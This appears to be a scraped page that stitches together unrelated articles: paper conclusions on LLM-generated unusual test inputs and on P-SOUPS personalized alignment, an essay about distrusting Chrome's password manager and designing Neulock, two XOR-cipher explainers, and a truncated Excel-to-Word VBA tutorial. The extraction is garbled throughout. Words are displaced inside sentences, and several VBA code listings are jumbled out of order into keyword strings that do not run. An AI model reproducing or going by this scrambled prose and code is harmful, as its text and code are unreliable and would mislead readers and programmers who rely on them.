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This paper is under CC 4.0 license. available on arxiv Authors: (1) Zhe Liu, State Key Laboratory of Intelligent Game, Beijing, China Institute of Software Chinese Academy of Sciences, Beijing, China; University of Chinese Academy of Sciences, Beijing, China; (2) Chunyang Chen, Monash University, Melbourne, Australia; (3) Junjie Wang, State Key Laboratory of Intelligent Game, Beijing, China Institute of Software Chinese Academy of Sciences, Beijing, China; University of Chinese Academy of Sciences, Beijing, China & Corresponding author; (4) Mengzhuo Chen, State Key Laboratory of Intelligent Game, Beijing, China Institute of Software Chinese Academy of Sciences, Beijing, China; University of Chinese Academy of Sciences, Beijing, China; (5) Boyu Wu, State Key Laboratory of Intelligent Game, Beijing, China Institute of Software Chinese Academy of Sciences, Beijing, China; University of Chinese Academy of Sciences, Beijing, China; (6) Zhilin Tian, State Key Laboratory of Intelligent Game, Beijing, China Institute of Software Chinese Academy of Sciences, Beijing, China; University of Chinese Academy of Sciences, Beijing, China; (7) Yuekai Huang, State Key Laboratory of Intelligent Game, Beijing, China Institute of Software Chinese Academy of Sciences, Beijing, China; University of Chinese Academy of Sciences, Beijing, China; (8) Jun Hu, State Key Laboratory of Intelligent Game, Beijing, China Institute of Software Chinese Academy of Sciences, Beijing, China; University of Chinese Academy of Sciences, Beijing, China; (9) Qing Wang, State Key Laboratory of Intelligent Game, Beijing, China Institute of Software Chinese Academy of Sciences, Beijing, China; University of Chinese Academy of Sciences, Beijing, China & Corresponding author. Table of Links Abstract and Introduction Motivational Study and Background Approach Experiment Design Results and Analysis Discussion and Threats to Validity Related Work Conclusion and References 8 CONCLUSION Automated testing is crucial for helping improve app quality. Despite the dozens of mobile app GUI testing techniques, how to automatically generate the diversified unusual text inputs for fully testing mobile apps remains a challenge. This paper proposes InputBlaster which leverages the LLM to produce the unusual inputs together with the mutation rules which serve as the reasoning chains. It formulates the unusual inputs generation problem as a task of producing a set of test generators, each of which can yield a batch of unusual text inputs under the same mutation rule. The evaluation is conducted for both effectiveness and usefulness, with 136% higher bug detection rate than the best baselines, and uncovering 37 new crashes. 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Leveraging LLMs for Generation of Unusual Text Inputs in Mobile App Tests: Conclusion and References

This paper is under CC 4.0 license. available on arxiv Authors: (1) Joel Jang, CarperAI,University of Washington & Allen Institute for AI; (2) Seungone Kim, KAIST AI; (3) Yizhong Wang, University of Washington; (4) Jack Hessel, University of Washington; (5) Luke Zettlemoyer, Aleph Alpha; (6) Hannaneh Hajishirzi, University of Washington & Allen Institute for AI; (7) Yejin Choi, UC San Diego. 5 CONCLUSION Previous work has shown that adapting LLMs with RLHF helps them generate outputs that are preferred by humans over the supervised fine-tuned counterpart. However, recent work has also pointed out that simply training LLMs to abide by the preference of the general may result in ignoring individual preferences and values. In this work, we provide the first steps to tackle this issue by proposing Reinforcement Learning from Personalized Human Feedback as a multi-objective problem so that LLMs can be aligned to follow conflicting preferences. We propose a promising method called P-SOUPS that is able to composite models trained on single objectives on the fly during inference. We also highlight the scalability of P-SOUPS by showing that it scales linearly, instead of exponentially like the MORL baseline, with regards to the number of new preferences, which is required to provide true personalization to individual users. ACKNOWLEDGMENTS Thanks to Minyoung Hwang, Sungdong Kim, Tim Dettmers, Yoonjoo Lee, and Margaret Li for helpful feedback and discussion. REFERENCES Xiang Ao, Xiting Wang, Ling Luo, Ying Qiao, Qing He, and Xing Xie. PENS: A dataset and generic framework for personalized news headline generation. In Proceedings of the 59th Annual Meeting of the Association for Computational Linguistics and the 11th International Joint Conference on Natural Language Processing (Volume 1: Long Papers), pp. 82–92, Online, August 2021. Association for Computational Linguistics. doi: 10.18653/v1/2021.acl-long.7. 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Scalarized multi-objective reinforce- ´ ment learning: Novel design techniques. In 2013 IEEE symposium on adaptive dynamic programming and reinforcement learning (ADPRL), pp. 191–199. IEEE, 2013. Yizhong Wang, Hamish Ivison, Pradeep Dasigi, Jack Hessel, Tushar Khot, Khyathi Raghavi Chandu, David Wadden, Kelsey MacMillan, Noah A Smith, Iz Beltagy, et al. How far can camels go? exploring the state of instruction tuning on open resources. arXiv preprint arXiv:2306.04751, 2023. Mitchell Wortsman, Suchin Gururangan, Shen Li, Ali Farhadi, Ludwig Schmidt, Michael Rabbat, and Ari S Morcos. lo-fi: distributed fine-tuning without communication. arXiv preprint arXiv:2210.11948, 2022a. Mitchell Wortsman, Gabriel Ilharco, Samir Ya Gadre, Rebecca Roelofs, Raphael Gontijo-Lopes, Ari S Morcos, Hongseok Namkoong, Ali Farhadi, Yair Carmon, Simon Kornblith, et al. Model soups: averaging weights of multiple fine-tuned models improves accuracy without increasing inference time. In International Conference on Machine Learning, pp. 23965–23998. PMLR, 2022b. Jeff Wu, Long Ouyang, Daniel M Ziegler, Nisan Stiennon, Ryan Lowe, Jan Leike, and Paul Christiano. Recursively summarizing books with human feedback. arXiv preprint arXiv:2109.10862, 2021a. Yuwei Wu, Xuezhe Ma, and Diyi Yang. Personalized response generation via generative split memory network. In Proceedings of the 2021 Conference of the North American Chapter of the Association for Computational Linguistics: Human Language Technologies, pp. 1956–1970, 2021b. Zeqiu Wu, Yushi Hu, Weijia Shi, Nouha Dziri, Alane Suhr, Prithviraj Ammanabrolu, Noah A Smith, Mari Ostendorf, and Hannaneh Hajishirzi. Fine-grained human feedback gives better rewards for language model training. arXiv preprint arXiv:2306.01693, 2023. Jie Xu, Yunsheng Tian, Pingchuan Ma, Daniela Rus, Shinjiro Sueda, and Wojciech Matusik. Prediction-guided multi-objective reinforcement learning for continuous robot control. In International conference on machine learning, pp. 10607–10616. PMLR, 2020. Jing Xu, Arthur Szlam, and Jason Weston. Beyond goldfish memory: Long-term open-domain conversation. In Proceedings of the 60th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers), pp. 5180–5197, Dublin, Ireland, May 2022. Association for Computational Linguistics. doi: 10.18653/v1/2022.acl-long.356. URL https: //aclanthology.org/2022.acl-long.356. Runzhe Yang, Xingyuan Sun, and Karthik Narasimhan. A generalized algorithm for multi-objective reinforcement learning and policy adaptation. Advances in neural information processing systems, 32, 2019. Saizheng Zhang, Emily Dinan, Jack Urbanek, Arthur Szlam, Douwe Kiela, and Jason Weston. Personalizing dialogue agents: I have a dog, do you have pets too? arXiv preprint arXiv:1801.07243, 2018. Lianmin Zheng, Wei-Lin Chiang, Ying Sheng, Siyuan Zhuang, Zhanghao Wu, Yonghao Zhuang, Zi Lin, Zhuohan Li, Dacheng Li, Eric Xing, et al. Judging llm-as-a-judge with mt-bench and chatbot arena. arXiv preprint arXiv:2306.05685, 2023. Yinhe Zheng, Guanyi Chen, Minlie Huang, Song Liu, and Xuan Zhu. Personalized dialogue generation with diversified traits. arXiv preprint arXiv:1901.09672, 2019. Daniel M Ziegler, Nisan Stiennon, Jeffrey Wu, Tom B Brown, Alec Radford, Dario Amodei, Paul Christiano, and Geoffrey Irving. Fine-tuning language models from human preferences. arXiv preprint arXiv:1909.08593, 2019. A DETAILS OF EVALUATION SETUP We use a modified version of the GPT4 annotation prompt used by Dubois et al. (2023). We modify the criteria to perform the pairwise evaluation from general to a single preference dimension. We also provide 3 demonstrations: one scenario where there is a tie because both responses do not contain any notion of the preference (e.g. both responses do not show any signs of friendliness), one scenario where there is a clear winner, and one scenario where they are both good, but one is better than the other. Simulated pairwise evaluation We recruited 24 crowd workers for our human evaluation. Figure 5 shows the interface used for human evaluation. We consider both the ‘Tie’ and ‘Both are bad’ options to be Ties. B CRITERIA-WISE EVALUATION The criteria-wise win rate (%) across all the methods are shown in Figure 6. The criteria-wise win rate was calculated by getting the average win-rate of the preference combinations that contained the specific preference dimension. For example, when calculating the criteria-wise win rate of ‘Elementary’, we got the average win-rate of the preference combinations that contained the ‘Elementary’ preference, which includes AAA, AAB, ABA, and ABB. C THE FULL LIST OF EVALUATION PROMPTS The full list of evaluation prompts used in our experiments are provided in Table 5 D DETAILED RESULTS FOR HUMAN EVALUATION AND GPT-4 EVALUATION We provide detailed results (win / loss / tie for each of the preference combinations for our main experimental results. Table 6 shows the GPT4 evaluation and Table 7 shows the human evaluation results. E EXAMPLES OF P-SOUPS TEXT GENERATIONS Table 8 shows empirical examples of the text generated from each preference combination of the 16 preference combination experiments for the same prompt.

Personalized Soups: LLM Alignment Via Parameter Merging - Conclusion & References

This is the 13-year journey that resulted in , a different approach to password management. Here goes articles[0] of articles.length == 2. Neulock Part I It was back in 2011. was still movie material; people communicated using monochromatic doodle faces instead of Pepe the Frog and Shiba Inu doges, and Daenerys Targaryen was the little girl who made the barbaric Khal Drogo find love. Contagion It was then that Google Chrome first made that offer. Do you want Google Chrome to save your password for this site? Save this password? Is that a thing browsers do now? Wow, thanks, Chrome, that’s so convenient! Come to think of it, I type most passwords on a web browser, so this looks like a great place to save them. Besides, what’s the worst that can happen? Chrome is a program installed on my computer. computer! I’m a seasoned Debian Linux power user, and nowhere in the universe is there a safer place than my hard drive! MY Sure, Chrome, go ahead. Save this password, and the next one, and every password I type in your input fields. Deception Until I bought another computer. After ditching the pre-installed Windows for whatever Linux distro I fancied at the time, the next thing to do was install Chrome. Firefox Quantum was still six years away, so there wasn’t much choice. Sign in with your Google account? Sure, why not? Let’s go check Facebook or whatever, and… hey, do you remember my username, Chrome? All right, let’s sign in to Facebook. Wait, why is the password field already filled in with asterisks? No, dear Chrome, this must be a bug, I’ve just bought this computer, your local database is pristine. You’ll realize your mistake once I click the login button. And… I’m in? I went to check Chrome settings immediately. What I saw only increased my horror. All the websites and usernames I had been saving were there, on a list. Plaintext passwords were only a click away. Two expectations had been broken. The first and most important thing is that I never expected Chrome to upload my passwords to Google’s servers without asking for consent. They asked me to my passwords, not to share them! save The second expectation was wishful thinking on my part. Shame on me. Google is one of the coolest tech companies in the world, and its engineers are supposed to be geniuses doing the impossible between ping-pong matches at the Googleplex. I thought Chrome was storing my passwords in some super-secure fashion and only retrieving each password at the right time to inject it like a ninja in the precise input field where it belonged. I didn’t expect to see them all in plaintext. And I wasn’t the only one who was shocked. ”. In a further discussion, Justin Schuh, Chrome’s chief of security, in a rather arrogant manner. Sir Tim Berners-Lee took Kember’s side, calling Chrome’s password manager “ .” Elliott Kember called Chrome’s password security “insane just shrugged it off a way to get your big sister’s passwords After this experience, I never got myself to trust any password manager, even though I knew it was better than confabulating weird passwords in my stupid human head. But, as we say in Brazil, a dog who’s been bitten by a snake fears even sausages. It doesn’t make more sense in Portuguese. A better password manager I spent the next ten years wandering in the desert of password insecurity. I was longing for a better password manager, but all of them seemed to follow the same principle: bundle up all your passwords in a “vault,” encrypt it with your master key and upload this vault to their cloud servers. I could never trust this model. Are they implementing end-to-end encryption, right? Is there a “key recovery” backdoor waiting to be exploited? Or maybe Justin Schuh was right after all: your passwords are “trivially recovered” from any application that stores them, and attempts to make passwords harder to leak are “all just theater.” In this sense, trying to safeguard your passwords any further than trusting a password manager was a novice fool’s errand. In 2019, I landed in the IT Department at the Ministry of Foreign Affairs of Brazil. There, I shadowed the CTO and . I learned a great deal from him and took over after he left. Cybersecurity was always on the agenda since that Ministry produced about 80% of all classified information in the Brazilian Federal government, and its operations were spread over 240 locations in all habitable continents. We were constantly targeted by the world’s scariest acronyms, so we needed to keep our guard up at all times. Over those years, through constant exposure to problems in different domains of cybersecurity, I started to put together principles for a better password manager. tech guru Fabio Cereda Principle #0: all cryptography is broken or eventually will get broken There was a museum of diplomatic communications where I worked. It was full of code books, cast-iron cipher machines, suitcase-portable dish antennas, TELEX adapters, and a few specimens of . It was a showcase of one and a half-century of secret communications between the headquarters and Brazilian embassies and diplomatic missions abroad. All of them relied on some sort of crypto to hold the secrets. All of that crypto is now broken. the infamous Crypto AG C-52 machine If you think about a password manager, the fact that all crypto will eventually get broken isn’t scary. Let’s say it takes, on average, 15 years to break a cryptographic protocol. Just change your passwords every couple of years, and you’ll be fine. A decent password manager should upgrade its crypto every now and then so you’ll always stay ahead of the curve. The scary part is that it’s impossible to know if a protocol has been broken already. Or worse, if it was designed with an intentional, hidden vulnerability, as was the case with the Crypto AG machine. Intelligence agencies and cybercriminal organizations keep their zero-days under the radar for as long as they can. The more I saw last-gen, corporate-grade security systems leaking secret information, sometimes in catastrophically spectacular manners, the less I trusted the vault model employed by all cloud-based password managers. Until very recently, these concerns were merely theoretical. As , fellow hackernooner @hossam26644 wrote There is nothing wrong with using Google’s password manager, Microsoft, Apple, 1password, Bitwarden, or whatever. People have been using them for long, with zero problems till now. He was right on July 25th, 2022. He didn’t trust any of them, though, and he was right again. One year later, there was compelling evidence that and people losing money. Over 150 people, over $35 million in money. the notorious LastPass leaks were resulting in some high-value vaults getting cracked A common misconception is that for an encrypted vault to be cracked, the itself would need to be compromised. LastPass has reminded us how much easier it is to break encryption. AES stands strong, but LastPass made poor implementation decisions: too short master key requirements, too few iterations, and some users were left with vaults that were easily crackable by brute force. AES algorithm Principle #1: logistics are often the weakest security link Government cryptanalysts knew Principle #0 all too well. They are some of the most intelligent people I’ve ever met, and few of them would put money on something protected by cryptography alone. The most wary of them insisted on the use of a for critically secure communications. In fact, they put this requirement in the regulations for the transmission and storage of top-secret documents. One-Time Pad (OTP) In principle, an OTP cypher cannot be broken. It is a simple XOR operation of the plaintext (the data) and a buffer of random values of the same length as the data (the OTP key). By XOR’ing the cipher against the same key again, the plaintext is recovered. Although unbreakable from a cryptanalysis standpoint, the OTP has several inconveniences: Each OTP key can never be reused; An OTP key must be at least as long as the plaintext; The key is symmetrical and must be pre-shared between the sending and the receiving parties. For a worldwide organization, supplying every office with OTP keys is a large ongoing logistical operation. Even worse, it’s the Achilles’ heel of the whole security model! Because, for all of OTP’s crypto-awesomeness to hold true, you need logistics, both in-transit and at-rest. perfect Should Eve intercept your OTP keys while on the road to the destination? All your communications from that point on are compromised. Should Eve physically crack your safe room and steal your OTP key media? All your comms from that point on are compromised, and maybe even your previous ones, if used portions of the key had not been properly erased from the media. If you implement OTP keys as 1 GB chunks of random bytes that get consumed as you send information, it clearly lacks both and backward secrecy. forward In the end, the perfect crypto is a way to shift responsibility from the cybersecurity team to the physical security team. And a similar problem affects offline password managers: they trade-off availability for confidentiality, leaving you with a logistical mess to sort out. As anyone running a local copy of knows, you need to backup your vault. This backup had better be external in case your computer storage dies. You need to keep your backup up-to-date. And make sure nobody has access to it. And don’t keep them all in your house, lest they fall prey to flood and fire. And don’t upload them to Google Drive; otherwise, you’re not using an offline password manager anymore. And… KeePass Principle #2: when a user device is compromised, it’s game over One day, my boss called me. She wanted to share a PDF with ten people from the upper echelon. This information should remain in their eyes only for three days. She knew that they had incentives to share this document with their respective teams to get a head start. This sort of information should be presented in person, but covid. So, she asked me to make this PDF impossible to copy and share. — Can’t be done, I replied. My boss was an Ambassador. This is the diplomatic equivalent of a General. Ambassadors aren’t used to hearing “no” as an answer. I patiently explained that, in computer science, when you give someone read permission to a resource, you implicitly give them permission to copy and distribute. Information access rights don’t obey legal rights. Even if we somehow made it inconvenient to share the file, they could just take pictures of their screens with their phones and share them over WhatsApp. If they can see the document on the screen, so can their cameras. Justin Schuh was right. If someone gains full access to your computer (or phone), they have full access to the information that you, the user, can access through that device. He’s right, but that doesn’t excuse him for implementing such a lousy password manager on Chrome. For a password manager, it means that protecting the user's device is always critical. If the server leaks, the attackers still need to go through the challenge of cracking the vaults. But if a hacker gains complete ownership over the computer running the password manager client, there’s nothing stopping them from stealing all passwords. This happens quite often in the crypto community. User Alice has a few dozen BTC, which makes her a millionaire. She has been doxxed or never hid her identity in the first place. She keeps a copy of her seed phrase in a local password manager on her desktop. “This is not a cloud password manager; I’m safe from leaks,” she thinks. Hackers find a way to make her install a backdoor to her computer. If they’re really good, they can do this without user interaction. The next morning, she wakes up to an empty wallet. For all the doom and gloom about user device compromise, there’s a silver lining: protecting our own devices, as users, is something that’s within our control. A server leak is not. The 150+ people who lost millions to the LastPass server leak bore no responsibility for the leaks or for LastPass implementing inadequate encryption standards. If user device compromise is a catastrophic attack vector no matter the password manager security model, and if we, as users, must protect our devices anyway, wouldn’t it be nice if this were attack vector? If we could build an password manager where no secrets ever leave the user devices so that users don’t need to worry about things out of their control, like server security and AES implementation details? the only online The ingredients are on the table Fellow author @hossam26644 continued, : “maybe I am a security freak, but I don’t want to trust my passwords to an entity, regardless of their promises &/reputation”. He’s right again. Cybersecurity is supposed to be proven and auditable, not based on trust and reputation. on his article The three principles outlined above guided my development of . It took me three years of ideation and iterations to arrive at its current form: an auditable cloud-based password manager that achieves zero knowledge by design and not through encryption. Passwords are synced across user devices using the cloud, but no secrets ever leave these devices. Cloud server compromises cannot leak any secrets because secrets never reach the cloud. Neulock Password Manager The three years of the making of Neulock will be documented in Part II.

Chrome Password Manager Betrayed My Trust 13 Years Ago. I Never Forgot

13 বছর আগে Chrome পাসওয়ার্ড ম্যানেজার আমার বিশ্বাসের সাথে বিশ্বাসঘাতকতা করেছে। আমি কখনই ভুলিনি।

Der Chrome Password Manager hat mein Vertrauen vor 13 Jahren missbraucht. Ich habe es nie vergessen.

Chrome Password Manager traicionó mi confianza hace 13 años. Nunca olvidé.

Le gestionnaire de mots de passe Chrome a trahi ma confiance il y a 13 ans. Je n'ai jamais oublié.

क्रोम पासवर्ड मैनेजर ने 13 साल पहले मेरे भरोसे को धोखा दिया। मैं कभी नहीं भूला.

Chrome パスワード マネージャーは 13 年前に私の信頼を裏切りました。私は決して忘れませんでした。

Chrome 비밀번호 관리자가 13년 전에 내 신뢰를 배신했습니다. 나는 결코 잊지 않았다.

O gerenciador de senhas do Chrome traiu minha confiança há 13 anos. Eu nunca esqueci.

Менеджер паролей Chrome предал мое доверие 13 лет назад. Я никогда не забывал.

Chrome Şifre Yöneticisi 13 Yıl Önce Güvenime İhanet Etti. Hiç unutmadım.

Trình quản lý mật khẩu Chrome đã phản bội lòng tin của tôi 13 năm trước Tôi không bao giờ quên.

Chrome 密码管理器 13 年前背叛了我的信任。我从未忘记。

Sound Call Graph Construction for Java Object: Conclusions, Acknowledgment, & References

Gemini - A Family of Highly Capable Multimodal Models: Discussion and Conclusion, References

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If you are getting into cryptography, or just trying to understand the fundamentals, you may have noticed that the (XOR) operation is used quite often, especially in ciphers. XOR is a simple bitwise operation that allows cryptographers to create strong encryption systems, and consequently is a fundamental building block of practically all modern ciphers. exclusive-or Let’s dive into the details and see what makes XOR so important. What is XOR ( )? ⊕ XOR, or “exclusive or” operates on binary data. It returns true if both of its inputs are opposites (one false and one true), otherwise, it returns false. For example, in Go, the code would be something like: func exclusiveOr(a bool, b bool) bool {
	return a != b
} XOR Cipher - The Perfect Cipher It is interesting to note that if: The key is the same size as the message The key is kept secret and generated truly randomly Then the XOR cipher is certainly to crack. This is known as a . However, a simple XOR shouldn’t be used in production due to the key length needing to be too long to be practical. impossible one-time pad Cipher Example For instance, let’s simply encrypt the word “hi” by following these steps: First, convert “hi” to binary, is a free tool here 01101000 01101001 Next, create a random secret key that has the same length: 01010010 01000101 Then, create an encrypted message by XOR’ing the message and the key: 01101000 01101001 (“hi”) XOR 01010010 01000101 (secret key)

00111010 00101100 (encrypted message) Finally, decrypt the message by XOR’ing the key with the encrypted message again: 00111010 00101100 (encrypted message) XOR 01010010 01000101 (secret key)

01101000 01101001 (“hi”) How does it work? XOR works as a cipher because it is its own inverse. 𝑎 = (𝑎 𝑏) 𝑏 ⊕ ⊕ And, as we demonstrated in our example: = and = encrypted message ⊕ key message encrypted ⊕ key Is XOR used in production ciphers? The simple XOR cipher isn’t used in production because it is impractical to use keys that are the same length as the message body. However, the XOR is still extremely useful. In fact, it is used in almost all symmetric encryption algorithms. XOR is the primary operation in the “add round key” step of AES-256. It is also used in the DES cipher. Also published . here

Why Is XOR the Perfect Cipher?

In the most general sense, the XOR function can be perceived as a Boolean function that detects inequality. For two inputs, XOR returns True (1) if the two inputs are different from each other and it returns False (0) if the two inputs are similar to each other. In a more technical language, it can be called a ‘sum modulo 2’ function and is famously used for binary addition operations. Its truth table in the case of 2 inputs is as shown below. So how exactly is this XOR function useful for cryptography? Basically, the answer to this question comes down to its two most important features as discussed below. It doesn't expose any information about the plaintext. What does ‘exposing information about the plaintext’ really mean? Do other Boolean functions do it? Let’s discuss this. It is clear from the truth table of AND ( & ) operation that the output bit is '1' if and only if both the input bits are '1'. So, if we ANDed our plaintext and our key to get the encrypted text, we'd know the positions in the original plaintext occupied by '1' just by observing the encrypted bits. So, there is a clear exposure of information about the plaintext here. Similarly, if we observe the truth table for the OR ( | ) operation, we can deduce that the output is '0' if and only if both the input bits are '0'. So if we ORed plaintext and key to generate our encrypted text, the positions of the '0' bits in the encrypted text give a crystal clear hint that the original plaintext too has ‘0’ in those positions. Hence, we can all agree that OR is also guilty for exposure of the information about the plaintext. And, unlike the leaky AND and OR operations, XOR is fairly safe as it doesn’t expose information about the original plaintext. Knowing the positions of ‘0’ and ‘1’ bits in the encrypted text won’t give us a single hint for identifying the original plaintext. So kudos to XOR! XOR is its own inverse. Basically, XOR is an involutory function I.e. it is its own inverse. In simpler words, if we apply XOR twice, we get the original character back. It can be expressed in a mathematical relation as: (A ⊕ B )⊕ B = A If we XORed plaintext and key to obtain the encrypted text, we can obtain the original plaintext by XORing the encrypted text with the key again. Hence, it is a really effective tool in encryption and decryption, which is ultimately the essence of cryptography. Still, it’s to be noted that the XOR cipher is hardly used in production due to the fact that the key has to be of the same length as the plaintext which is fairly impractical. However, XOR is hugely implemented as a fundamental operation in the Block Ciphers such as DES and AES. Long live XOR!

The Reason XOR is so Special in Cryptography

When dealing with VBA for Excel, you'd be forgiven for thinking that your code would work with Excel only. However, the fact that VBA (Visual Basic for Applications) is common to all the applications within Office Suite opens up a host of possibilities. For instance, you can capture data in Excel via a user form and then automatically export it to a Word document. The beauty of this is that everything executes in the background. In other words, you don't need to manually copy data from Excel, search for the correct Word document to paste this information, save the file, and then close Word again. Our book addresses these topics. VBA Automation for Excel 2019 Cookbook In this article, we’ll look at recipes for: Creating a new instance of Word Writing and formatting text Copying data into Word Using templates and bookmarks By the end, you’ll be able to create Word documents from within Excel. Technical requirements These recipes were written and designed to be used with MS Office 2019 and MS Office 365, installed on either Windows 8, 8.1, or 10. If your hardware and software meet these requirements, you are good to go. Demonstration files can be downloaded from . https://github.com/PacktPublishing/VBA-Automation-for-Excel-2019-Cookbook Please visit the following link to check the Code in Action videos: . https://bit.ly/3jQRvVk Creating a new instance of Word The first step in the process of creating a Word document from within Excel requires some changes to the available references. To be specific, we have to set a reference to Word's object library in the VBA Editor. Without this step, Excel cannot communicate with Word at all, let alone create documents and paragraphs. In this recipe, we will be creating a new instance of Word from within Excel. Getting ready Open Excel, and activate a new workbook. Save the file as a macro-enabled file (*.xlsm) on your desktop and call it Word_Interaction.xlsm. Sheet1 should be active. Press Alt + F11 to switch to the VBA Editor, and then insert a new module. It goes without saying that MS Word must also be installed on your computer in order for the instructions in this recipe to work effectively. How to do it… Here’s how to link Word to Excel: 1. In the VBA Editor, click on Tools | References. The References – VBAProject dialog box will open: Figure 1 – The References - VBAProject dialog box 2. Scroll down the list of available references until you find Microsoft Word 16.0 Object Library. Earlier versions of Word will have a different number, but will still refer to the Word object library: Figure 2 – The Microsoft Word 16.0 Object Library selected 3. Once selected, click on OK to save the selection and close the dialog box. Note
: The reference to the Word object library is only valid for the Excel workbook you're currently working in. Every new workbook will have to be referenced to Word in exactly the same way. 4. Create a Sub procedure to initiate Word from within Excel. There are several ways of doing this, but for this recipe, we will be using this specific technique: Sub CreateWordDoc()
Dim wdApp As Word.Application wdApp = New Word.Application
wdApp.Visible = True
wdApp.Activate
End Sub Set 5. Press F5 to run the procedure, or to test it, if you will. A new instance of Word will appear on your screen. Close the Word application once you know that the Sub procedure is working. 6. Opening Word without opening a new document is not very useful. Add the next lines of code to the Sub procedure to open a new document: CreateWordDoc() wdApp Word.Application wdApp = Word.Application wdApp
.Visible = .Activate
.Documents.Add Sub Dim As Set New With True End With End Sub Note: Because we need to use the Word.Application keyword every time we refer to MS Word, the loop structure makes it easier to refer to Word.Application via the wdApp variable. If you now run the procedure, Word will open again, this time displaying a new document, . Document1 Close Word, but don't save the document. Return to the VBA Editor in Excel. These steps will enable you to create a new instance of Word from within Excel, using VBA for Excel. How it works… Enabling the Microsoft Word object library for this Excel workbook made it possible to use Word keywords and methods within Excel. These keywords can open an instance of Word, as well as a new Word document, all from within Excel. Writing and formatting text It's all very well to know how to open Word with a new document available. However, we need more than this. A heading for the new document would be a good start, but that is still not enough. Formatting the heading is also necessary, and will round it off professionally. In this recipe, we will be writing and formatting text. Getting ready Make sure Word_Interaction.xlsm is still open, and that the VBA Editor is active. How to do it… These are the steps to enter and format text in Word: 1. To add text to a Word document via Excel, add the following line of code: CreateWordDoc() wdApp Word.Application wdApp = Word.Application wdApp
.Visible = .Activate
.Documents.Add
.Selection.TypeText Sub Dim As Set New With True "Employee Information" End With End Sub 2. Press F5. Running the Sub procedure will now result in a new instance of Word, with a new document open, and the line of text in the Sub procedure at the top of the page. Close Word without saving, since there is more code to add to our procedure in Excel: Figure 3 – New instance of Word, with document and text 3. It is quite clear that we need to do some formatting here. By starting a nested loop structure, this will save us repeating the keywords. Furthermore, if you haven't done it so far, you can use IntelliSense to assist you with all the Word keywords. Add the following lines of code to the VBA Editor: CreateWordDoc() wdApp Word.Application wdApp = Word.Application wdApp
.Visible = .Activate
.Documents.Add .Selection
.ParagraphFormat.Alignment = _
wdAlignParagraphCenter
.BoldRun .Font.Size = .TypeText .BoldRun .TypeParagraph .Font.Size = .ParagraphFormat.Alignment = _
wdAlignParagraphLeft
.TypeParagraph Sub Dim As Set New With True With 'Switch Bold on 16 "Employee Information" 'Switch Bold off 'Enter a new line 11 End With End With End Sub 4. When you run the Sub procedure now, there will be a marked improvement in appearance: Figure 4 – Formatting done via VBA in Excel Using these principles, users will be able to format a Word document with VBA coding in Excel. Copying data into Word We could have opened Word manually and achieved what we've just done, but the whole purpose of the exercise is to do it from Excel, so that data in a spreadsheet can be written to the Word document automatically. What we need to do now is select data, copy it, and then paste that as part of the opening and formatting process. In this recipe, we will be copying data into Word. Getting ready Make sure that Word_Interaction.xlsm is still open. Activate Sheet1, and enter the following data: Figure 5 – Working data How to do it… Follow these steps to copy text from Excel to Word: 1. Create code to automatically select whatever range is on a sheet: Sub CreateWordDoc()
Dim wdApp As Word.Application wdApp = New Word.Application
With wdApp
.Visible = True
.Activate
.Documents.Add
With .Selection
.ParagraphFormat.Alignment = _
wdAlignParagraphCenter
.BoldRun Switch Bold off
.TypeParagraph Set 'Switch Bold on
.Font.Size = 16
.TypeText "Employee Information"
.BoldRun ' 'Enter a new line
.Font.Size = 11
.ParagraphFormat.Alignment = _
wdAlignParagraphLeft
.TypeParagraph
End With
End With Range( , Range( ).End(xlDown) _
.End(xlToRight)).Copy
wdApp.Selection.Paste
End Sub "A1" "A2" 2. Run the Sub procedure to check your coding. We know that the first part will work, but in this case, we need to see whether the data on our spreadsheet was copied into Word: Figure 6 – Excel data copied and pasted into Word 3. Saving the Word document is what we need to do next. When you add these lines of code, pay attention to the changes in the With statement: Sub CreateWordDoc()
Dim wdApp As Word.Application wdApp = New Word.Application
With wdApp
.Visible = True
.Activate
.Documents.Add

With .Selection
.ParagraphFormat.Alignment = _
wdAlignParagraphCenter
.BoldRun Switch Bold off
.TypeParagraph Set 'Switch Bold on
.Font.Size = 16
.TypeText "Employee Information"
.BoldRun ' 'Enter a new line
.Font.Size = 11
.ParagraphFormat.Alignment = _
wdAlignParagraphLeft
.TypeParagraph
End With

Range("A1", Range("A2").End(xlDown) _
.End(xlToRight)).Copy
.Selection.Paste
.ActiveDocument.SaveAs2 Environ("UserProfile") _
& "\Desktop\EmployeeReport.docx"
End With
End Sub 4. The last thing we need to do is close down the document, and finally Word itself. Just add the following two lines in a new line after the filename: .ActiveDocument.Close
.Quit 5. When you run the procedure now, you will see Word open briefly, and immediately close again. If you want to eliminate that, simply comment the following two lines out: ' = True
' .Visible .Activate 6. We're still not done, because every time we run the procedure, the file is replaced without giving us the option of saving it under a new name. We need to add code to create a unique filename every time we run the procedure. By declaring a new variable, SaveAsName, and then assigning a formatted version of the Now function, we can create a unique name for the file every time it is saved. Add these two lines after .Selection.Paste: SaveAsName = Environ( ) _
& _
& Format(Now, ) & .ActiveDocument.SaveAs2 SaveAsName "UserProfile" "\Desktop\EmployeeReport " "yyyy-mm-dd hh-mm-ss" ".docx" 7. Every time you run the procedure now, a new file with a unique name will be saved. Following these instructions will enable you to automatically copy data from Excel into Word. How it works… Here’s an explanation of what we did. Selecting data in Excel is not a new concept, and neither is copying. Saving it in a Word document with Excel VBA requires making use of the Environ function, as well as formatting of the filename. This will ensure that a new file is created every time the Excel VBA procedure is executed. Using templates and bookmarks To copy an entire Excel spreadsheet and paste it into Word doesn't make sense. You could rather have done everything in Word from the beginning, saving you the whole effort of copying from Excel and pasting in Word. The point is, if you have an existing Word document or even a Word template, and you regularly need to export selected information from a spreadsheet in Excel to this template, this is the way to do it. The word automation acquires new meaning if you can link Excel with Word in this manner. In this recipe, we will be pasting Excel data into a Word document at a specific bookmark. Getting ready Make sure that Word_Interaction.xlsm is still open, and that the VBA Editor is active. How to do it… We need to do the following: 1. Open the Word document that was saved to the desktop. Delete the inserted table (select only the entire table – no lines before or after, click the contextual tab, and then ) Layout Rows & Columns | Delete | Delete Table 2. Enter the short sentence Latest information on employees in the open space. 3. Insert a bookmark in the first open line after this sentence. Click on . The dialog box will appear. Enter a name in the textbox, and then click on to close the dialog box: Insert | Bookmark Bookmark Bookmark name Add Figure 7 – Bookmark name 4. Click on , and save the file as a Word template. The file extension is .dotx. Call the file EmployeeReportTemplate. File | Save As 5. Depending on the operating system and the version of MS Office on your PC, the file will be saved in a specific folder, dedicated to template files: Figure 8 – Folder for template files 6. Close the file and return to the VBA Editor in Excel. 7. Add the following line of text in the code window to open a specific file, and not just a blank document: Sub CreateWordDoc()
